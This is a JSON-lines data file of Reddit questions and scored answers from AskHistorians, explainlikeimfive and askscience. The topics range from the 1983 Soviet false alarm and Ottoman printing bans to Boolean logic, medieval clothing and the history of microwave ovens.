{"q_id": "3o5v64", "title": "Why wasn't the Moscow\u2013Washington hotline used during the 1983 Soviet nuclear false alarm incident?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3o5v64/why_wasnt_the_moscowwashington_hotline_used/", "answers": {"a_id": ["cvuhwgs"], "score": [20], "text": ["If you're referring to the Stanislav Petrov incident \u2014 it wasn't passed up the command line. That was his specific intervention, not passing it up higher.\n\nAs to why it might not have been used if it had been passed up (i.e. why nuclear war was dangerous) \u2014 in the early 1980s the Soviets were extremely afraid of a decapitating first strike attack from the USA. The US had short and medium range nuclear missiles within range of Moscow that would give almost no warning time once detected (minutes at most). If the USSR was to respond to such a thing they would have to do so immediately. If they did not, they ran the risk of not being able to respond at all (the idea is that the US would take out the political centers and infrastructure and then immediately target remaining Soviet nuclear forces before they could get organized to \"reply\").\n\nSo no hotline would be any use there. Separately, the hotline was not secured in any way against nuclear attack \u2014 it used standard civilian infrastructure. So it would not withstand a first strike. \n\nThe hotline was never meant to be used in this way, as a way for the Soviets (or USA) to say, \"hey, is that incoming missile legit?\" It was meant to help diffuse situations before they got that far. \n\nIn any case, look at it from the Soviet point of view. If it _was_ a legitimate, decapitating first strike, would the US admit it on the hotline? What good could it have done to have called? There is no response the US could give that would be satisfactory on the face of it, given the need for an immediate response if it was legitimate. And the Soviets were not inclined to give the US the benefit of the doubt \u2014 again, they had been worried for years about this kind of attack. (See, e.g. [Operation RYAN](_URL_0_).)\n\nOn the 1983 jitters and the Soviet mindset, David Hoffman's _The Dead Hand_ is great."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/RYAN"]]}
{"q_id": "8pqibn", "title": "why we often say that it is harmful to eyes if you watch tv in a dark room but not the same case if you watch movie in a dark theater?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8pqibn/eli5_why_we_often_say_that_it_is_harmful_to_eyes/", "answers": {"a_id": ["e0da8u4", "e0dbyep"], "score": [17, 5], "text": ["It's  a misconception, it's not true. Watching TV in a dark room won't hurt your eyes. Neither will watching a movie in a dark theater.", "It's not. This is an urban myth. The best way to improve image quality in a home theatre is to reduce almost all of the light in the room, but especially in front of the screen. \n\nA bit of [bias lighting](_URL_0_) behind the screen can will improve contrast, and help to reduce temporary eye-strain caused by sudden changes in image brightness, however.\n\n > *What Bias Lighting Is and Why You Should Be Using It* \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.howtogeek.com/213464/how-to-decrease-eye-fatigue-while-watching-tv-and-gaming-with-bias-lighting/"]]}
{"q_id": "1drl0u", "title": "Are snakes \"handed\" in a way that makes them favor one side over another?", "selftext": "I imagine it would affect their movement, or which side they \"lead\" with or something. I imagine this would be especially relevant to sidewinders in particular. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1drl0u/are_snakes_handed_in_a_way_that_makes_them_favor/", "answers": {"a_id": ["c9t6c4t"], "score": [16], "text": ["_URL_0_\n\nAt least in coiling behavior, no preference for a particular side could be determined."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/17852698"]]}
{"q_id": "9u4qhv", "title": "how do certain things such as crepuscular rays and anticrepuscular rays exist?", "selftext": "I recently traveled in Switzerland and I saw a lot of sunbeams shining down through clouds. After a quick google search I learned that they are referred to as crepuscular and anticrepuscular rays, I want to know how these rays exist and why things like this happen sometimes, but not always.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9u4qhv/eli5_how_do_certain_things_such_as_crepuscular/", "answers": {"a_id": ["e91hi5c"], "score": [2], "text": ["You need two thing for this to occur. First you need cuds with gaps so you line with different amount of direct sunlight and you need particles in the air that can reflect light back to you.\n\nThe effect is the same as if direct sunlight passes tro a small hole/windows into a building and the light is reflected by particles in the air but on a larger scale.\n\n_URL_1_\n\nThe blocking of part of the light else the whole area would be bright and you would not have separate ray. Particles are needed to reflect the light to you.\n\nThe reason the look like the diverge is perspective like how a train track with constant with look narrower in the distance. If you would look at them from above they are parallell _URL_0_\n\nAnticrepuscular rays is the same thing but the are above you  so you have to look in the opposite direction of the sun. They are also parallels but look like the converge. The are dimmer because of how light is scatter so you can primary see them at sunrise or sunset when the sun is low in the sky.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Crepuscular_rays#/media/File:Crepuscular_Rays,_India.JPG", "https://static1.squarespace.com/static/50631261e4b0e9530e2c53a7/53e99182e4b06e563931739c/59040e859f7456663ead20f6/1539901089183/Sun-Rays-Shining-Through-Barn-Rafters.jpg"]]}
{"q_id": "8ngox5", "title": "why are there more plant pathogens that can infect crops than weeds?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8ngox5/eli5_why_are_there_more_plant_pathogens_that_can/", "answers": {"a_id": ["dzvcas5", "dzvcfr8"], "score": [5, 10], "text": ["Because weeds have evolved to be hardy and opportunistic.\nCrops have been selectively bred more for flavour/yield than resistance.\nPlus, weeds have had millennia to develop their resistances.", "Crops are a lot less diverse than weeds.  \nWhen we develop a crop, we plant the exact same plant over and over again.  \nIn extreme cases like the Cavendish banana (the one you probably eat), all the plants are genetically clones of each other.  \nSo if one disease works against one plant, it would like work against the same type of plant all over the world.  \nThe fact that the same plant is all over the world also means that disease from all over the world can spread to the rest of the world.  \nWeeds on the other hand reproduce naturally, they are quite different from the weeds that are even a few miles away."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6758n9", "title": "Many governments, both democratic and totalitarian, have both sought, and succeeded at placing limits on the proliferation of certain kinds of information on the Internet. Did governments attempt to do the same thing during the early years of the printing press? If so, what were they?", "selftext": "I ask this because, as of now, the Internet is the single greatest tool to spread information and ideas over wide distances in human history. But prior to the Internet I've heard that the printing press had an equally profound impact on how information was disseminated to the public. Were there any attempts by governments to regulate the printing press?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6758n9/many_governments_both_democratic_and_totalitarian/", "answers": {"a_id": ["dgo2bd9"], "score": [2], "text": ["Hey!  I'm going to talk a little about governmental (and societal) limits on printing in the Ottoman Empire. Bits of this will be taken from an answer I wrote before on [why printing was adopted so late in the Middle East](_URL_1_) but I'm going to expand on it overall and focus it to your question.\n\nAlthough the printing press was known in the Ottoman Empire starting in the 15th century, soon after it was invented and popularised by Gutenberg, its use was largely banned from 1483 under Sultan Beyzid II until 1726 under Sultan Ahmed III.  I say largely banned because although one could not print in Arabic script (ruling out Arabic, Ottoman Turkish, and Persian languages such as Farsi), non-Muslims were allowed to print in foreign scripts.  This is why the first Arabic book in the Ottoman Empire was only printed ~1727, when a printing press was opened by a Hungarian convert to Islam, Ibrahim Muteferrika, but the first Hebrew printing press had been opened before the dawn of the 16th century.  \n\n_______\n\n**So what would the reasoning behind this ban be?**\n\nOverall, I would claim that a fear of corruption in religious texts was one of the driving forces behind the Ottoman Sultan Bayezid II's 1483 ban on the use of printed books.  As Muhsin Mahdi writes,  one look at the early Qur'ans \"must have made Muslim readers of the Koran think that only the Devil himself could have produced such an ugly and faulty version of their Holy Book\".  This is what I want to focus upon for this post.  **It wasn't so much a desire to control information that could threaten the power of the Sultanate (like how China or North Korea may censor certain information) as it was an attempt to control the corruption of religious texts.**\n\nFirst, socially, calligraphy was and remains a highly valued form of art in the Islamic world. Calligraphists took pride in their great skill in not only forming aesthetically pleasing letters, but also in providing elaborate illustrations and patterns to decorate important works, both religious and secular.  Printing presses, especially early presses with their often crude lettering, could not hope to match the beauty of hand-written manuscripts.  Nor could they match their accuracy.\n\nA class of professional scribes and copyists - called *warraqeen* emerged from the 8th century.  (Dr. Walid Ghali mentions that there were between 20,000 and 90,000 *warraqeen* in 18th century Istanbul alone who protested the adoption of the printing press based upon both economic dimensions (copying was profitable work) and religion, which I will get to shortly.)\n\nThese *warraqeen* did not only reproduce works but also played a pivotal role in how accepted they were.  Works were seen as authentic not only based upon what information they contained but also *who* that information was written by. James Redman links this to the Islamic idea of *\"definitive knowledge\"* or that \"the perception of what could accurately be prescribed as truth, fact, or reality was dependent not upon abstract statements but rather who confirmed those accounts\".  The importance of chain of transmission can also be seen in other facets of the Islamic world, such as the *isnad* that records who passed down what *hadith* from the time of Muhammad onwards.  \n\nWith printing, this chain of transmission was impossible to verify. Additionally, prints were difficult to check for their accuracy (and given the limited accuracy of many of the early European prints of the Qur'an, this fear may have been well founded).  In Arabic, a single dot can change the sound of a letter, and thus the meaning of an entire word (for example, the letters \"ra\" (\u0631) and \"za\" (\u0632) were often confused in early Italian prints of the Qur'an.)  Although printing gradually improved, even a few errors could fundamentally change the meaning of a text and put off Muslim scholars from accepting printing.  Dr. Ghali gives a good example of this (with pictures!) in his conference presentation that I'll link below.\n\nCompare this to the traditional Islamic way of reproducing texts.  Jonathan Bloom, in his book *Paper Before Print: The History and Impact of Paper in the Islamic World*, writes that for a manuscript to be considered an official translation, the scribe would have to read back the work to the author who would then certify that it is authentic and free from error.  He adds that it was important to prove not only that a scribe heard a book from a specific source but also that he read it back to an approved source.  With this double-layered verification, the chain of transmission was protected.\n\nAs arduous as this process may be, it has the definite advantage of ensuring that official reproductions are free from error and accurately portray what the author meant, a form of quality control if you may.  Once a reproduction was certified as correct, it could then be read in other Mosques to circles of scribes to repeat the process.  Bloom writes that \n\n >  \"in contrast to the situation in medieval Christendom, where a single scribe made a single parchment copy of the single parchment manuscript on the desk before him, one author in the Muslim world could generate a dozen copies from a single reading, and each of these authorized copies could generate another dozen. Within two 'generations' of readings, well over a hundred copies of a single work might be produced\". (116)\n\nBecause of these fears (and because there was an accepted calligraphic tradition that could avoid them) Muslim scholars went so far as to put out *fatwas* banning the use of the printing press.  Dr. Ghali mentions both the ban of the Sheikh al-Islam (the highest religious scholar in the Ottoman Empire) who reinforced Beyzid II's decree by claiming only non-Muslims could use a movable-type press, and the various *fatwas* of al-Azhar (one of the most prestigious academic institutions in Sunni Islam) that banned the printing of Qur'ans and other religious books such as explications.  This religious prohibition was actually kept in 1726 as Ibrahim Muteferrika was given permission to print only secular books.\n\n_______\n\nSo one can see here a rather long-lasting prohibition on the use of printing for Arabic script in general and religious texts in particular that came from both the government and the religious leaders; neither of these parties wanted the holy texts to be corrupted.  Although these bans slowly faded out, they heavily delayed the acceptance of the printing press in the Islamic world.  The control of information was not the crux of the issue but rather the unwillingness to sacrifice the extensive quality-controls that ensured the Qur'an and its study would remain pure.\n\nI know this wasn't quite what you were asking for but I hope it stirs some interest!  Let me know if you have any questions.\n\n_____\n\n**Sources**\n\n\"Commencement of Printing in the Muslim World: A View of Impact on Ulama at Early Phase of Islamic Moderate Trends\" by Moinuddin Aqeel.\n\n\"From Pen to Press: Debates on the Development of Islamic Printing\" by Samuel Tay\n\n*Paper Before Print: The History and Impact of Paper in the Islamic World* by Jonathan Bloom\n\n\"Printing History in the Arabic-Speaking World\" from the Yale University Library\n\n[\"Print or not print: Is That Still the Question? Delay in Adopting Printing Press in Muslim Countries\"](_URL_0_) by Dr. Walid Ghali (bear in mind this is technically a draft paper).\n\n\n\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.academia.edu/4093493/Print_or_not_print_is_that_still_the_question_Delay_in_adopting_Printing_Press_in_Muslim_Countries", "https://www.reddit.com/r/AskHistorians/comments/60424h/why_did_printing_only_revolutionize_europe_but/"]]}
{"q_id": "20szz8", "title": "what does google earth and other mapping companies do about disputed lands and borders such as in crimea?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20szz8/eli5_what_does_google_earth_and_other_mapping/", "answers": {"a_id": ["cg6fntb", "cg6jt7y"], "score": [14, 2], "text": ["Google maps has disputed borders as dashed lines. You can see these in a fair few places. There's a whole bunch of them around Pakistan, India, Tajikistan and China. And many borders in Africa have parts of them in dispute as well.\n\nOne interesting border dispute is between Egypt and Sudan. See [this](_URL_0_). They both claim the Hala'ib Triangle but neither claim the Bir Tawil area. So there's an area there that no country is claiming at all.", "Map data is created and stored in GIS tabular and spatial databases. Some of the data is created by Google and other large companies, but most of it is purchased from local governments and integrated into the companies datasets. \nDatasets all have specific schemas that allow the maps to be updated quickly and easily following whatever standards they have in place. \nIn the case of disputed changes there are tabular attributes that can be setup to show that area is in dispute and will remain so until official word says otherwise.\nThis is a very simplistic overview.\nI don't know if you were looking for a technical answer or a political answer, but that is my two cents. \nSource: I have been running a government GIS program for 12 long years. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/File:Egypt_Sudan_claims.svg"], []]}
{"q_id": "3k1ha9", "title": "what actually happens to me if i don't eat any vegetables?", "selftext": "I'm pretty health-conscious, so I do worry about this sort of thing. However, I absolutely cannot stand vegetables. I never have. I'm talking about any kind of veggie, no matter how it's cooked or not. To be honest, I don't know even how the rest of you humans can stomach them. I'm currently 21 years old, and vegetables have been pretty much non-existent in my diet throughout my time here. I work out almost everyday. I try to watch what I eat. I drink V8 V-Fusion. Please don't just tell me that I'm missing out on essential nutrients. I would like to know what's going to happen to my body in the future.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3k1ha9/eli5_what_actually_happens_to_me_if_i_dont_eat/", "answers": {"a_id": ["cutzvye", "cuu05qk", "cuu1hff", "cuu3oy5"], "score": [7, 5, 2, 8], "text": ["I know if you don't get enough fiber in your diet you can be constipated which leads to other complications such as colon cancer. Veggies have a lot of fiber, especially greens.", "If you are getting the nutrients you need from other means, nothing will happen you will have a normal life. Albeit missing the deliciousness that veggies can bring. If you are not getting a proper intake of the various nutrients your body needs you will suffer various aliments and difficulties  depending on your diet. There is no 1 thing that will happen, many outcomes are possible.\n\nAlso you should know v8 fusion is high in sugar, from the fruits, but lacks the things that make fruit nutritious namely the fiber, so ya know...moderation is good.", "Nothing. My coworker is allergic to almost all vegetables and has been surviving on meat and bread for past tweny years. He takes some fiber pills though.", "I'd suggest starting off with something and \"forcing\" yourself to eat something. Even if it's just 2 pieces of broccoli it's better than nothing. Kinda like your first beer, it's going to taste like shit but, after awhile you keep drinking that piss water."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "33rf0w", "title": "how do wrestlers get bloody?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/33rf0w/eli5_how_do_wrestlers_get_bloody/", "answers": {"a_id": ["cqno7ng", "cqnr410", "cqnt52x", "cqnuxzw"], "score": [23, 9, 16, 2], "text": ["They use fake blood capsules that are either handed off from the referee's secretly or hidden somewhere in their costumes. Another method is they cut themselves on the forehead with concealed razor blades, which leaves very minimal damage and heals quick but bleeds a lot. I'm not sure if the second one is used in the WWE at all though, but it's a well known method.", "Anyone know if \"The Wrestler\" was a good representation of what wrestlers, both am and pro, go through for entertainment?", "Blading. It is pretty much how it sounds like. In a match, after some big moment (chair shot, for example) and while the wrestler is laying on the ground, he will take a concealed razor blade and cut himself (usually the forehead). The other wrestler will usually perform some misdirection to help sell it to the crowd.\n\nThere are also some stories about wrestlers taking a lot of aspirin before a match, which would act as a blood thinner, and would make the visual more compelling and produce more 'color'. See the \"Crimson Mask\". Edit: sweat adds to the visual too, as TonySoprano420 mentioned below.\n\nThat's not to say that blading/ gigging is responsible for all blood in wrestling matches. Sometimes it can be accidental or the result of going \"hardway\". \n\nLike others have said, blading is pretty much banned in the WWE now due to its PG rating. Just like chair shots in the WWE, a wrestler will usually be fined by the company if he blades during a match. Batista was fined a few years back when he was still at the WWE, [see Chris Jericho's story about it](_URL_0_).\n\nedit: sorry about the wrestling terminology; hopefully I don't sound like a wrestling douche", "As a former High School wrestler and coach I can tell you that there's more blood in that sport than you think.  Hardly a match goes by without being stopped multiple times for a tiny scratch or a bleeding nose.\n\nI know its not what was asked but there you go.  I can't imagine professional wrestlers doing what they do and not having some unintended bleeding.\n\nBut yeah, the ones you talk about... they all bladed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://youtu.be/BhPmES0vbME?t=1246"], []]}
{"q_id": "xcccw", "title": "boolean logic", "selftext": "I don't get it!  I did some reading on Wikipedia and elsewhere, but I am more confused now than I was before.  I never studied this in school, so I have no real frame of reference for where to start.  Thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/xcccw/eli5_boolean_logic/", "answers": {"a_id": ["c5l4j6y", "c5l4nou", "c5l5kxe", "c5lfyos"], "score": [30, 41, 4, 2], "text": ["You have two light bulbs, bulb A and bulb B. \n\nIs A *and* B on? If yes, then the answer to A AND B is true. \n\nIs either A *or* B on? If yes, then the answer to A OR B is true.\n\nThe answer to NOT A is the opposite of A\n\nXOR is the only strange one. A XOR B is true only if either bulb A or bulb B is on, but not both.\n\nThese can be chained together to provide more complex expressions.", "**Boolean logic in seven words:**\n\nThe value is either true or false.", "Boolean logic is similar to math, but instead of using numbers, you use *true* and *false* (which we, confusingly, represent with numbers as *true*=1 and *false*=0). The rules for boolean logic are different than the rules for math; instead of using +, -, x, /, etc., you use **AND**, **OR**, **NOT**, and **XOR**. \n\nMost operations compare 2 values and return 1, based on a set of rules. Because there are only 2 values, and each value can only be *true* or *false*, there are only 4 cases for each operator, so we can list the rules in a small table. These are called *truth tables*. The table below is a combined *truth table* for **AND**, **OR**, and **XOR**. The **NOT** operator is the odd one out; instead of comparing 2 values, it changes one value. So **NOT** *true* = *false*, and **NOT** *false* = *true*.\n\n    A | B | AND | OR | XOR\n    0 | 0 |  0  |  0 |  0  \n    0 | 1 |  0  |  1 |  1\n    1 | 0 |  0  |  1 |  1\n    1 | 1 |  1  |  1 |  0\n\nSo how do you read the table? Well, if you had a question that asked \"What is 1 **AND** 1?\", you would look for the row where both A and B are 1, then find the result in the **AND** column. 1 **AND** 1 = 1. That is the only time **AND** is *true*; when both of the input values are also *true*. **OR** is *true* when at least one of the values is *true*, and **XOR** (which stands for eXclusive OR), is *true* when one and only one value is *true*.\n\nThat's great and all, but what good does any of this do? Well, it runs computers. It's very easy to create little electronic parts that work just like these operators. We call them *logic gates*. In computers, the values are represented by electricity. You can think of each gate as having 2 wires coming in, and 1 wire going out. If there's a certain amount of electricity on a wire, it's a *true* value. If there's no electricity, it's a *false* value. We can even hook up one gate's out wire to another gate's in wire. By combining really high numbers of these gates together, we can make computers do all the stuff they do. \n\nBoolean logic is also the basis for propositional logic, which can be used to analyze arguments. However, I'm a little rusty on that, so I'll leave that for someone else to explain.\n\nEDIT: Formatting\n\n", "Alright, so I think this will make more sense if I try to explain the motivation/philosophy behind boolean logic too, instead of just how to use it, so here goes:\n\nTake a look at the number system you use whenever you do simple math. We have symbols that represent things, i.e., numbers. We also have operations, like addition (plus), multiplication (times), etc. For example, to figure out how many peanuts your family of four is going to eat if everyone eats ten peanuts each, you would write 4 x 10 = 40. In this example, 4 and 10 are your symbols and x is your operation. Boolean logic is based on this same idea, but the symbols and the operations are a little different.\n\nIn regular nonboolean algebra/math, there are a whole bunch of numbers that we use to represent quantities of things. Examples: 3, 8, one billion and five, 1.33523532. In Boolean algebra/logic, there are only two: true and false. People also like to say 1 and 0. But why??? Well, in digital electronics (like computers), behind all of the fancy shamncy computer programs and all that jazz are a bunch of physical transistors that can even be on or off, or in boolean terms, 1 or 0 (fun fact: the on/off switch on your computer is a 1 inside a 0). Now you *could* make a computer with components that take on bunches of different states like 3 or 8 or one billion and five, but it turns out that computers with components that can only be 1 or 0 are the simplest. So that's what people do.\n\nAlright, so now we have all of these elements that are either 1 or 0, but in order to actually do stuff with them we need to give them some operations. With numbers we had addition and multiplication, etc., and with boolean logic we have something quite similar in fact. \n\nThe first operation replaces multiplication, and it is called AND, or symbolically, * . With ordinary numbers you could say 4*10 = 40, but with boolean logic, we only have two things to work with: 1 and 0. So how it works is this:\n\n**AND**: 1 AND 0 = 0; 0 AND 1 = 0; 0 AND 0 = 0; 1 AND 1 = 1. Now, you'll notice this actually isn't too hard to remember, because if you replace the word AND with TIMES (*), you'll find it's just the same.\n\nThe next operation is OR, which replaces addition:\n\n**OR**: 1 OR 0 = 1; 0 OR 1 = 1; 0 OR 0 = 0; 1 OR 1 = 1. Except for the last guy, this is basically addition, because if you replaced OR with PLUS, you'd get the same answer (for the last one you'd get 2, but in boolean logic anything that isn't 0 is 1, so 2 becomes 1). \n\nOne other crucial operation is NOT, but it's pretty easy:\n\n**NOT**: NOT 1 = 0, NOT 0 = 1. \n\nThere are a few others, but these are the most important, and you'll find that you can do a whole bunch with these things! Here are some examples:\n\n1 AND 1 = 1\n\n1 OR 0 = 1\n\n1 AND (1 OR 0) = 1; for this, just like in regular math do the thing inside the parenthesis first\n\n[1 AND (NOT 1)] AND 1 = 0\n\nAnd that's about it! In a real computer you have these things called logic gates that physically take two inputs and give you an output. So and AND gate would give you the output of the AND function, and an OR gate would give you the output of the OR function. \n\nIt's pretty cool."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2lf665", "title": "Older history of gender, unisex clothing, effeminacy etcetera", "selftext": "Hi!\n\nI've been pondering a mighty while the differences in our culture across the ages when it comes to how we perceive gender and things in that corner. I don't have any good substantial information, since I'm not a historian and the Internet is not a particularly good place to look for less researched and uncommon subjects like this. Most of today's works in the humanities concerning gender seems to focus very much on contemporary society. My interest in older gender culture stems from Elizabethan poetry, that I'm very familiar with since I regularily sing music by John Dowland. While poetry in itself has often been a very masculine craft, interestingly enough much of Elizabethean poetry portrays things like crying, men being defeated by women (their love interest) and shyness as core characteristics of being male. This got me to thinking, and if I may, I have a throng of questions I hope you would like to join me in discussing.\n\nFor example, one claim I've heard repeated is that European clothing in the early and high middle ages were more unisex than what we modern people are used to. How true is this statement, how did people view their garments (aside from practical things) during this time? What freedom of clothing did women have? \n\nConcerning effeminacy, the information I find is mostly about ancient Greek and Rome. However interesting that may be and is, how did the Roman image of masculinity carry on over the transition into smaller states and the split between the east and west? Did the Byzantine Empire keep a similar culture around masculinity as Rome, for example? Going further away from the central European history, how at the same times were for example Arab views on masculinity/effeminacy compared to the European culture?\n\nAndrogyny was a strong trend in the 1920's, and even though maybe not all social circles readily adopted an androgynous life style, general fashion saw such things as more masculine women's haircuts. My grand parents generation, however, being born in the mid 1920's, have a different view on gender roles. Right now I'm purely speaking anectodally, but it seems to me that their generation was stooped more into the Hollywood view of gender, and glamorous movie stars were the women's role models. Generally known, the 18th century culture was more ... lax on sexuality and gender roles. I'm curious, in between these periods of androgyny (and similar things), were there a kind of reaction against this? Were there any notable androgynous cultures during the 19th century?\n\nThis is a very broad question (and broad subject), but I hope you find it interesting and that you may have some answers or ideas were to find more information :) .", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2lf665/older_history_of_gender_unisex_clothing/", "answers": {"a_id": ["cluanq0", "cluas7k"], "score": [5, 6], "text": ["In terms of medieval clothing, there were certain eras where a particular style of garment was worn by both men and women, but there would often be a male and female 'version' of this garment. Pre-medieval European garments were basically layered tunics for both men and women.\n\nFrom the 11th to 13th centuries, both men and women often wore what would be called a tunic or robe, but for women it would be longer and more fitted. The same goes for the cotehardie of the 14th century. The bliaud, a pleated robe of the late 12th century, was just longer for women and around knee length for men. \n\nThe houppeland appeared in the early 15th century, as a voluminous robe garment that was belted at the waist, and it was actually the same for men and women for a couple decades. By the mid 15th century it had shortened for men, and then women began turning back the lapels to create more of a v-necked dress. The houppeland lasted until the end of the 15th century, and is considered to be the last pre-20th century unisex garment.\n\nFor a good visual overview of changes and similarities in these garments over time, I would recommend [The Evolution of Fashion by Hill and Bucknell](_URL_0_). My other source is just clothing history lectures.\n\nEdit: In order to understand of how people at that time viewed their garments, first imagine (if you were lower class, like most people) that you only have one outfit that you can wear, all day, everyday. You can afford maybe one new outfit per year. It has to be practical enough to work in, and suitable for any occasion that you can think of. You may have a couple extra pairs of sleeves that you can change into for special occasions, since sleeves tied on separately. This means that your clothing is very much a part of your everyday self, and you don't have the resources for extra outfits just for self expression. If you were rich, your outfits were less about expressing your sense of style and more about displaying your wealth as a form of protecting a privileged and more secure place in society. There were even sumptuary laws passed that prohibited lower classes from wearing certain expensive dyes or too much silk or velvet. If you were one of the rising middle class, a trend that emerged where it was fashionable to have wrinkles in your clothes - this meant that you could afford three outfits: one to wear, one to wash, and one to sit folded up in a drawer. All this means that both men and women generally just wore the current style of clothing that everyone else was wearing; and that clothing had much more to do with status than personal identity. ", "This question interests me because, to a large extent, this is what I do. Gender as an area of historical study, whether that means more concentrated focus upon the experience of women throughout history, greater inquiry into aspects of queer history, or the questioning of traditional historical narratives of male experience and topics related to the concept of masculinity, is actually quite hot within the field right now as historians push the boundaries of the past to reveal a more comprehensive understanding of people's lives and experiences. Now having said that, I personally am only qualified to speak to these topics within the narrow parameters of early modern Scotland, and to a lesser extent, England and Ireland due to the often comparative nature of my research. But, as you, yourself, have acknowledged, the question is a broad and fairly ambitious one and I hope that other gender historians here weigh in to round out the picture!\n\nIn the Scotland of my period of expertise (roughly, 1450-1700), adult clothing was not particularly unisex though children's clothing was. Both boys and girls wore dresses until about the age of five or six at which point boys were put into breeches. As a convention this custom was still practiced into the late nineteenth century as photographs of a very young Teddy Roosevelt in a gown can attest.\n\nWhen it comes to understanding historical constructions of gender identity though the very first place to probably start is with Michel Foucault's *The History of Sexuality*. A lot of scholars have complicated feelings toward Foucault; some think that he's absolutely full of it while some embrace and endorse his theories wholeheartedly. I would venture to say that most fall somewhere in the middle. But the fact of the matter is that Foucault sort of opened up the discussion of human sexuality being a social construct and was the first to really look at expressions of gender identity and sexuality with the attitudes of historical contemporaries without enforcing modern bias onto the past. In particular, his discussion of when the act of sodomy began to define men as homosexuals is probably the most famous of these. But, I won't ramble for too long on Foucault. A good introduction to him can be found in David M. Halperin, 'Forgetting Foucault: Acts, Identities, and the History of Sexuality', *Representations*, 63 (1998), pp. 93-120.\n\nBut so. The question remains with regards to constructions of masculinity. With the rise of humanism during the Renaissance and the ensuing shift of cultural attitudes from an overt Christian model informed by the Church's interpretation of the Gospel to a more classically influenced understanding of society and social behavior, particularly regarding such subjects as honor, civility, and proper conduct, you start to get obvious expressions of maleness being defined by stoic self-control accompanied by an essential element of bravado. Thus you have George Puttenham observing, in 1589, that 'to weepe for any sorrow (as one may doe for pitie) is not so decent in a man: and therefore all high minded persons, when they cannot chuse but shed teares, will turn away their face as a countenance undecent for a man to shew.' (George Puttenham, *The Arte of English Poesie: Contrived into Three Bookes: The First of Poets and Poesie, the Second of Proportion, the Third of Ornament* (London, 1589, STC20519), p. 243)\n\nIt's therefore interesting to me to read about the conventions described in your English songs. Part of me wonders how much of this poetry was informed by classical models of poetry since I know that throughout the latter seventeenth century, the Restoration poets were apt to mimic the Romans, particularly with regards to satire. But, as I am neither a literary scholar nor a Classicist I can't speak to that at all.\n\nAlso, this reply is becoming ridiculously long at this point so I should probably wrap it up. With regards to androgyny - I have yet to encounter any overt references to it in my research of sixteenth- and seventeenth-century Scotland but I hope this has answered at least some of your questions. If you have any more specific questions feel free to ask!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.ca/Evolution-Fashion-Pattern-1066-1930/dp/0896760995"], []]}
{"q_id": "23v0ed", "title": "What was the public reaction to microwaves?", "selftext": "I'm not sure if this is allowed, since you usually need to source, but personal experiences would help me understand the public opinion better. Were people scared of them? Were wives tales forming (don't stare at/stand too close to it)?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/23v0ed/what_was_the_public_reaction_to_microwaves/", "answers": {"a_id": ["ch0xtdo"], "score": [89], "text": ["personal anecdotes aside, here's a general idea of the popularity growth of microwaves.\n\nIn 1946, the first microwave was publicized as a  \"high frequency dielectric heating apparatus\"(Amana radarange, n.d.). It was manufactured and promoted for restaurants and took a long time to establish itself as a staple appliance ie. it was not until 1959 that microwaves were introduced to Britain. (Yarwood, 1983)\n\nSkepticism of the success of the microwave oven was high, but those that had faith in the success of the technology had to be the ones to push it. \n\nIt wasn't until 1965, that an oven-mounted microwave was produced. The first Tappan microwave was about $1295.00, but once Amana Corp created a $495.00 microwave(1967) their popularity increased.(Amana radarange, n.d.)\n\nBut you asked for public reaction, to give you an idea, from 1950 to 1975 sales grew from under 10,000 to 100, 000. In 1965, they were first introduced onto planes and by the mid-eighties they were selling 5, 000, 000/per year without a major change in price. (Osepchuck, 1984; Ganapati, 2010)\n\nIt's like any modern day appliance; if something is really cool and makes your life easier but is expensive it will sell--but drop the price and it is then in every house. Compare it to the growth/popularity of wi-fi in a sense. in awe of the technology and convenience but the cheaper and more mainstream it becomes the less we think about it.\n\nSide note: There were many developments that were needed in order for the convenience of the microwave to adapt to the needs of society--within the mechanism itself ie. it started with only two buttons: on/off\n\nAmana radarange. (n.d.). In Southwest Museum of Engineering, Communications and Computation. Retrieved Nov 23, 2013 from _URL_0_\n\nGanapati, P. (Oct 25, 2010) Oct 25, 1955: time to nuke dinner. In Wired. _URL_1_\n\nOsepchuk, J. (1984). A history of microwave heating applications. IEEE Transactions on Microwave Theory and Techniques, 32(9), 1200-1224\n\nYarwood, D. (1983). 500 years of technology in the home. London: Batsford ltd."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.smecc.org/microwave_oven.htm", "http://www.wired.com/thisdayintech/2010/10/1025home-microwave-ovens/"]]}
